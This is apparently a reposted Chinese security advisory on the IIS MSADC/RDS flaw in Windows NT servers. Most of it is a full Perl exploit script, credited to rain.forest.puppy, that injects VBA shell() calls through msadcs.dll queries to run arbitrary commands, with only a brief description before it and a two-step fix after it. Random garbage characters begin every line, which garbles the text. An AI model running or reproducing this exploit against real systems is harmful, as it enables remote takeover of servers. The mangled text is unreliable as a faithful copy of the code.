IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
n:%4 SZn RSp wU;o6z 涉及程序：
aj1]ZT \ Microsoft NT server
OM*c7& -&5YRfr! 描述：
Qq< @;4 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
K($l>PB,y@ K& #il 详细：
e c&/a2M 如果你没有时间读详细内容的话，就删除:
o.{W_k/n c:\Program Files\Common Files\System\Msadc\msadcs.dll
:R Iz6Tz 有关的安全问题就没有了。
^m |@pp {%R^8 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
SiLW[JXd y|5L %,i 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
. <"XE 7 关于利用ODBC远程漏洞的描述，请参看:
bv[#|^/ dHc\M|HCC http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (~GQnc qa .AfZ5s]/F 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
1M]=Nv http://www.microsoft.com/security/bulletins/MS99-025faq.asp vd%g'fTy9 ^65I, Z" 这里不再论述。
: ky`) F` ?QOU9"@+B 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
QyD0WC}i UM oj9/- /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5=pE*E TJ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
pU$k{^'UK $w0TEO! 'Gy`e-y B #将下面这段保存为txt文件，然后: "perl -x 文件名"
YM}a>o h d3 #!perl
S,m( #
~ :ASv>m # MSADC/RDS 'usage' (aka exploit) script
2S?7j[@%i` #
v:t;Uk^Y # by rain.forest.puppy
aLa<z Essz #
|oY{TQ<<d # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
A)f-r # beta test and find errors!
Rx-\B$G -?Cr&!*B use Socket; use Getopt::Std;
'ygKP6M getopts("e:vd:h:XR", \%args);
p*;!5;OUR K10G+'H^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[wGj?M} n' ~ ==2 if (!defined $args{h} && !defined $args{R}) {
Xw?D N*`L print qq~
EA"h i e7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
g) Lf^ -h <host> = host you want to scan (ip or domain)
0<,{poMM -d <seconds> = delay between calls, default 1 second
O^L]2BVC -X = dump Index Server path table, if available
O$ *lPA[ -v = verbose
d GUP|O -e = external dictionary file for step 5
[:8\F#KW Rb6BY-/J Or a -R will resume a command session
)w7vE\n3 RkYdK$|K ~; exit;}
Nk'<*;e CTIS}_CWd= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
^^a6 (b if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
) /raTD if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;ku>_sG- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
c4H6I~2Na $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
6}"%>9 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Q i18q|l8v Y~"tL(WfJl if (!defined $args{R}){ $ret = &has_msadc;
?;XO1 cs die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
@ {/)k%U Q]WBH_j print "Please type the NT commandline you want to run (cmd /c assumed):\n"
@6;OF5VsQ . "cmd /c ";
G c V/_Y $in=<STDIN>; chomp $in;
[JOa^U= $command="cmd /c " . $in ;
20c5U% @%4 '2b if (defined $args{R}) {&load; exit;}
Mu3G/|t( 4Mt3<W5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
K#R]of~/ &try_btcustmr;
TU|#Pz7n-Z C[7!pd print "\nStep 2: Trying to make our own DSN...";
#-L0.z( &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
q5f QTV f"Sp.'@ print "\nStep 3: Trying known DSNs...";
iOiF kka &known_dsn;
l2F#^=tp t&?jJ7 (&8 print "\nStep 4: Trying known .mdbs...";
01.q9AGy &known_mdb;
<cTX;&0= +XWTu! if (defined $args{e}){
A iHU*dp6 print "\nStep 5: Trying dictionary of DSN names...";
9qap#A &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|8 ` }8vo) gj^)T_E_ print "Sorry Charley...maybe next time?\n";
V( ELrjB0 exit;
nCYz ];". e$9a9twl ##############################################################################
G&oD;NY@/ P zJ (Q sub sendraw { # ripped and modded from whisker
[N,+mX sleep($delay); # it's a DoS on the server! At least on mine...
^G! cv my ($pstr)=@_;
r_+Vb* |Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
RP~nLh3=\ die("Socket problems\n");
mm>l:M TF if(connect(S,pack "SnA4x8",2,80,$target)){
bB<S4@jF8z select(S); $|=1;
AXbb -GK print $pstr; my @in=<S>;
+$ C9@CZM9 select(STDOUT); close(S);
]xRR/S4 return @in;
CR [>5/:M } else { die("Can't connect...\n"); }}
\GEz.Vb rWr'+v? ##############################################################################
uH\EV`@' []>rYZ9bv sub make_header { # make the HTTP request
k]ZE j/y~ my $msadc=<<EOT
^\ PRz Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
QGN+f) User-Agent: ACTIVEDATA
Ou[`)|> Host: $ip
0MRWx%CR Content-Length: $clen
zY/Oh9`=v Connection: Keep-Alive
M6wH$!zRa 5WI
bnV@ ADCClientVersion:01.06
?)9L($VVD Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
2)IM<rf'^ 2S7 BzZ/ --!ADM!ROX!YOUR!WORLD!
b_s asZo Content-Type: application/x-varg
G$,s. MSf Content-Length: $reqlen
K~ #?Y,}O du$lS':` EOT
M"*NV(".g ; $msadc=~s/\n/\r\n/g;
dEYw_qJ2 return $msadc;}
_#\Nw0{ gw)z*3]~s ##############################################################################
{N ]WVp*R cn}15JHdR sub make_req { # make the RDS request
$'l<2 h>4 my ($switch, $p1, $p2)=@_;
UG\2wH_ my $req=""; my $t1, $t2, $query, $dsn;
Xc[ym KKpM=MZ if ($switch==1){ # this is the btcustmr.mdb query
OcUj_Zd $query="Select * from Customers where City=" . make_shell();
=w`Mc\o " $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
cq>J]35 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<yl@!-'J7 6n/=n%US elsif ($switch==2){ # this is general make table query
8b0j r t $query="create table AZZ (B int, C varchar(10))";
Mq~E'g4# $dsn="$p1";}
qt.4dTd:_ 62nmm/c elsif ($switch==3){ # this is general exploit table query
wdj?T`4 $query="select * from AZZ where C=" . make_shell();
yW? -Z[ $dsn="$p1";}
e!0xh ac\aH#J_nC elsif ($switch==4){ # attempt to hork file info from index server
a5Vlfx $query="select path from scope()";
K
'I6iCrD $dsn="Provider=MSIDXS;";}
Lea4-Gc 1Px Rj elsif ($switch==5){ # bad query
n3?P8m$ $query="select";
YKUAI+ks $dsn="$p1";}
@|;[
;:h@ 0Gj/yra9MO $t1= make_unicode($query);
}WJX Q@ $t2= make_unicode($dsn);
bv <^zuV $req = "\x02\x00\x03\x00";
r;b `@
. $req.= "\x08\x00" . pack ("S1", length($t1));
>/Z*\6|Zx# $req.= "\x00\x00" . $t1 ;
#&uajo $req.= "\x08\x00" . pack ("S1", length($t2));
V|A.M-XLv4 $req.= "\x00\x00" . $t2 ;
)J]NBE:8 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
>"UXY) return $req;}
EO(l?Fgw]$ $'}| /D ##############################################################################
/Gnt .%y& 5Bq;Vb sub make_shell { # this makes the shell() statement
~i?Jg/qcxN return "'|shell(\"$command\")|'";}
[Y@}{[q 5 )/f#~$ws ##############################################################################
&:C[
n q 5O~xj: sub make_unicode { # quick little function to convert to unicode
A##Q> |>) my ($in)=@_; my $out;
~BTm6*'h for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
tag)IWAiE return $out;}
Z
OAg7 kL s{B ##############################################################################
9*JxP%8T~X &Odrq#o ?R sub rdo_success { # checks for RDO return success (this is kludge)
f dJg7r* my (@in) = @_; my $base=content_start(@in);
8WLh 7[ if($in[$base]=~/multipart\/mixed/){
2N-p97"g return 1 if( $in[$base+10]=~/^\x09\x00/ );}
S\ZCZ0 return 0;}
r.@UH -2c ,F!-17_ vt ##############################################################################
b* n#XTV N1E9w:T` sub make_dsn { # this makes a DSN for us
?st}rJ_ my @drives=("c","d","e","f");
{>64 -bU print "\nMaking DSN: ";
Pvv7|AV
foreach $drive (@drives) {
u<n['Ur}| print "$drive: ";
K\RMX?YsP my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
tOF8v8Hd "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ho#<?rh_ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
@G = :@; $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
we}5'bS> return 0 if $2 eq "404"; # not found/doesn't exist
jA@
uV ,w if($2 eq "200") {
4ke.p<d G foreach $line (@results) {
g
C8 deC8 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
S"+#=C } return 0;}
,DW q 4*n1Xu 7^x ##############################################################################
:hB6-CZkqN
3<Z@!ft8 sub verify_exists {
n dB qXS my ($page)=@_;
z {NK(oW my @results=sendraw("GET $page HTTP/1.0\n\n");
otdv;xI9 return $results[0];}
SoCN.J30 I_Gm2 Dd ##############################################################################
E-9>l b { )Zz4 sub try_btcustmr {
fA V.Mj- my @drives=("c","d","e","f");
Zic:d-Q47 my @dirs=("winnt","winnt35","winnt351","win","windows");
RLw/~ uW(Ngcpr foreach $dir (@dirs) {
\WUCm.w6\% print "$dir -> "; # fun status so you can see progress
6!U~dt#a foreach $drive (@drives) {
'oBv(H print "$drive: "; # ditto
4/x.qoj $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ARJtE@s6Y $reqlenlen=length( "$reqlen" );
ZTGsZ}{5 $clen= 206 + $reqlenlen + $reqlen;
d|
{<SRAI vMXn#eR my @results=sendraw(make_header() . make_req(1,$drive,$dir));
#LYx;[D6 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
F9IPA % else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
? a?]
LIE8 Ko0T[TNkh ##############################################################################
'F1<m^ esv<b>`R sub odbc_error {
o:%;AOcl my (@in)=@_; my $base;
M7gqoJM'Q my $base = content_start(@in);
.KYDYdoS' if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|z) 7XK $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(WGEX(| $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
X=k|SayE8 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
lzz68cT return $in[$base+4].$in[$base+5].$in[$base+6];}
rN~V^k print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ta SYR$V J print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
! 6+V
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%8"Aq Pv$O=N6- ##############################################################################
H//,qxDc %( 1y sub verbose {
y|# Fu my ($in)=@_;
aXD|XE% return if !$verbose;
!`dn# j print STDOUT "\n$in\n";}
I"jub
kI=Z ( 2KopL ##############################################################################
C:}"?tri pm DFmE S sub save {
qS[nf>" my ($p1, $p2, $p3, $p4)=@_;
VC NQ}h[D open(OUT, ">rds.save") || print "Problem saving parameters...\n";
gM
v0[~;u print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
`9VRT`e close OUT;}
KlR IJOS DB+ .< ##############################################################################
Kx,<-]4 Ar$ Am sub load {
K&iU+ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]*AQT 7PH open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@(e/Y/ @p=<IN>; close(IN);
/. @"wAw: $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
^{+_PWn $target= inet_aton($ip) || die("inet_aton problems");
%t,Fxj4F print "Resuming to $ip ...";
}$'T=ay& $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
E"Y[k8-:2/ if($p[1]==1) {
bjs{_? $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
)L7h:%h# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
R-Z)0S'ZR my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
c0:`+ >p2 if (rdo_success(@results)){print "Success!\n";}
RZ:= '; else { print "failed\n"; verbose(odbc_error(@results));}}
DqBiB H[%h elsif ($p[1]==3){
nTPq|=C if(run_query("$p[3]")){
8}!WJ2[R print "Success!\n";} else { print "failed\n"; }}
UJQGwTA W elsif ($p[1]==4){
ksli- Px if(run_query($drvst . "$p[3]")){
^9?IS<N0] print "Success!\n"; } else { print "failed\n"; }}
m2PI^?|e exit;}
QpMi+q
Y g,5Tr_ ##############################################################################
- |&&lxrwh =E-V-?N\ sub create_table {
&qae+p? my ($in)=@_;
Z {*<G x $reqlen=length( make_req(2,$in,"") ) - 28;
5' [b:YC $reqlenlen=length( "$reqlen" );
lH 1gWe $clen= 206 + $reqlenlen + $reqlen;
3g5
n>8- my @results=sendraw(make_header() . make_req(2,$in,""));
4oRDvn7f& return 1 if rdo_success(@results);
jB %aH UF; my $temp= odbc_error(@results); verbose($temp);
aO$I|!tl return 1 if $temp=~/Table 'AZZ' already exists/;
Ex$i8fO( return 0;}
E4N{;' '/QS
sZR ##############################################################################
Hn!13+fS BBlYy5x sub known_dsn {
qO}Q4a+ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
tsN,yI]-VA my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!juh}q&}| "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
pt=H?{06 "banner", "banners", "ads", "ADCDemo", "ADCTest");
])NQzgS *V giJ foreach $dSn (@dsns) {
MI\35~JAN print ".";
o==:e next if (!is_access("DSN=$dSn"));
vKmV<*K if(create_table("DSN=$dSn")){
s wLrp
74 print "$dSn successful\n";
LF\HmKM, if(run_query("DSN=$dSn")){
\*5${[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
EK$ 3T5e print "Something's borked. Use verbose next time\n";}}} print "\n";}
n b}rfd. B0|!s ##############################################################################
;30SnR/ h3t);}Y}D9 sub is_access {
b,uu dtlH my ($in)=@_;
w0`8el; $reqlen=length( make_req(5,$in,"") ) - 28;
~X! Z+Vg $reqlenlen=length( "$reqlen" );
$bsD'Io $clen= 206 + $reqlenlen + $reqlen;
yttaZhK^u my @results=sendraw(make_header() . make_req(5,$in,""));
.6[7D my $temp= odbc_error(@results);
q1?}G5a ? verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/Xk-xg+U return 0;}
2v?fbrC5c a(oa?OdJ ##############################################################################
M2lvD & @p ZjJ<9QM sub run_query {
Dbl+izF3 my ($in)=@_;
Zi= /w $reqlen=length( make_req(3,$in,"") ) - 28;
H<Ik.]m
$reqlenlen=length( "$reqlen" );
@jY=b< $clen= 206 + $reqlenlen + $reqlen;
k{ ~0BK my @results=sendraw(make_header() . make_req(3,$in,""));
_=- B%m return 1 if rdo_success(@results);
#. j}: my $temp= odbc_error(@results); verbose($temp);
#%7)a; ' return 0;}
cB=ExD. Q c8 Je&y8 ##############################################################################
<NXJ&xs-+ a&RH_L jM sub known_mdb {
xtO#reL"q? my @drives=("c","d","e","f","g");
z}w7X6&e my @dirs=("winnt","winnt35","winnt351","win","windows");
{2F@OfuCF my $dir, $drive, $mdb;
R9\ )a2 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
v6P2 v e2qSU[ # this is sparse, because I don't know of many
`3:Q.A_? my @sysmdbs=( "\\catroot\\icatalog.mdb",
5.d[C/pRw "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
TyhO+; "\\system32\\certmdb.mdb",
|p.|zH "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
O',Vce$ N@0cn
q:" my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
%2y5a`b "\\cfusion\\cfapps\\forums\\forums_.mdb",
F:N8{p uq5 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
7@
\:l~{ "\\cfusion\\cfapps\\security\\realm_.mdb",
8qL.L(=\/ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
10_# Z~aU "\\cfusion\\database\\cfexamples.mdb",
G>Hg 0u0!, "\\cfusion\\database\\cfsnippets.mdb",
YD ;G+"n?T "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
nF
B]#LLv "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3$ wK*xK "\\cfusion\\brighttiger\\database\\cleam.mdb",
9y&bKB2, "\\cfusion\\database\\smpolicy.mdb",
EF6h>"']/ "\\cfusion\\database\cypress.mdb",
!<24Cy "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
+z 4E:v "\\website\\cgi-win\\dbsample.mdb",
&~=r .T "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
_n1[(I "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
z]7 /Gc,j ); #these are just
``%yVVg}
foreach $drive (@drives) {
.$@+ / @4 foreach $dir (@dirs){
2VzYP~Jg foreach $mdb (@sysmdbs) {
"}V_.I* + print ".";
DD2K>1A1 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
.5uqc.i"f print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
"([/G?QAG if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
C;j& Vbf print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
SA7(E J95 } else { print "Something's borked. Use verbose next time\n"; }}}}}
l0C`teO
L7hRFf-o foreach $drive (@drives) {
hH HQmK<r
foreach $mdb (@mdbs) {
7Ja*T@ ! h print ".";
bF6J> &]! if(create_table($drv . $drive . $dir . $mdb)){
J#t-." f6^ print "\n" . $drive . $dir . $mdb . " successful\n";
^=5x1<a9$ if(run_query($drv . $drive . $dir . $mdb)){
J ZkQ/vp( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
z:4_f:70 } else { print "Something's borked. Use verbose next time\n"; }}}}
:AS`1\ C }
Qe{w)e0}` 2?SbkU/3|P ##############################################################################
X8">DR&>Y J>5 rkR@/ sub hork_idx {
aL%E# print "\nAttempting to dump Index Server tables...\n";
%IZd-N7i^ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
2j}DI "|h $reqlen=length( make_req(4,"","") ) - 28;
^sB0$|DU $reqlenlen=length( "$reqlen" );
9!
/kyyU $clen= 206 + $reqlenlen + $reqlen;
mf)+ 5On my @results=sendraw2(make_header() . make_req(4,"",""));
X\/M(byn if (rdo_success(@results)){
S> r",S my $max=@results; my $c; my %d;
+D:8r|evH for($c=19; $c<$max; $c++){
nQoQNB $results[$c]=~s/\x00//g;
@0 /qP<E $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
?:ZB'G{%E $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
w7o`B R $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
vj]>X4'i $d{"$1$2"}="";}
h='F,r5#2 foreach $c (keys %d){ print "$c\n"; }
Q{RmE : } else {print "Index server doesn't seem to be installed.\n"; }}
uINdeq 7|F {BT /P ! ##############################################################################
[d8Q AO1;) 2Jio _Hk sub dsn_dict {
YT
Zi[/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
,_fz)@) while(<IN>){
dniU{v $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Vh;zV Y next if (!is_access("DSN=$dSn"));
P0jr>j@^- if(create_table("DSN=$dSn")){
{VL@U$'oI print "$dSn successful\n";
:t ]HY2 if(run_query("DSN=$dSn")){
8.#{J&h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{PcJuRTHB print "Something's borked. Use verbose next time\n";}}}
X S [L-NHG print "\n"; close(IN);}
dy&UF,l6 b1.*cIv} ##############################################################################
*q *3SP/ :Iv;%a0 - sub sendraw2 { # ripped and modded from whisker
~vF a\7sf sleep($delay); # it's a DoS on the server! At least on mine...
>w@+cUto my ($pstr)=@_;
ba);f[> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
BzP,Tu{, die("Socket problems\n");
3 /@z4:p0R if(connect(S,pack "SnA4x8",2,80,$target)){
<4"-tYa print "Connected. Getting data";
_!R$a - open(OUT,">raw.out"); my @in;
}OL"38P select(S); $|=1; print $pstr;
:x)H!z
P while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
jC9us>b close(OUT); select(STDOUT); close(S); return @in;
o@Oz
a } else { die("Can't connect...\n"); }}
t? W}=%M[ ~ELMLwn. ##############################################################################
'7-Yo
Q ,v Jt!}} sub content_start { # this will take in the server headers
hM Dd*<%l my (@in)=@_; my $c;
" B#|C' for ($c=1;$c<500;$c++) {
t'rN7.d if($in[$c] =~/^\x0d\x0a/){
mm-s?+&M; if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
l@4_D;b3o" else { return $c+1; }}}
CJBf5I3 return -1;} # it should never get here actually
gBm'9|? O?JJE8~'] ##############################################################################
qN)y-N.LI( }}JMw T
sub funky {
/SD}`GxH my (@in)=@_; my $error=odbc_error(@in);
]:<! ( if($error=~/ADO could not find the specified provider/){
<(L@@.87R print "\nServer returned an ADO miscofiguration message\nAborting.\n";
h:YD $X E exit;}
F4EAC|Y if($error=~/A Handler is required/){
Je1d|1!3 print "\nServer has custom handler filters (they most likely are patched)\n";
tS 'lJu exit;}
m +k P"]v if($error=~/specified Handler has denied Access/){
Km`
SR^&\ print "\nServer has custom handler filters (they most likely are patched)\n";
nT6y6F _e exit;}}
~[g(@Xt &S,D;uhF ##############################################################################
!Zz;;Z .+9hm | sub has_msadc {
,ks2&e my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
gg'1q3OjM my $base=content_start(@results);
m&UP@hUV- return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
m[9.'@ ye return 0;}
=q4} ( U0~_'&Fe ########################
-/yqiC-yx l!mbpFt 8Bf > 解决方案：
)g0lI 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
m>@hh#kBg 2、移除web 目录: /msadc
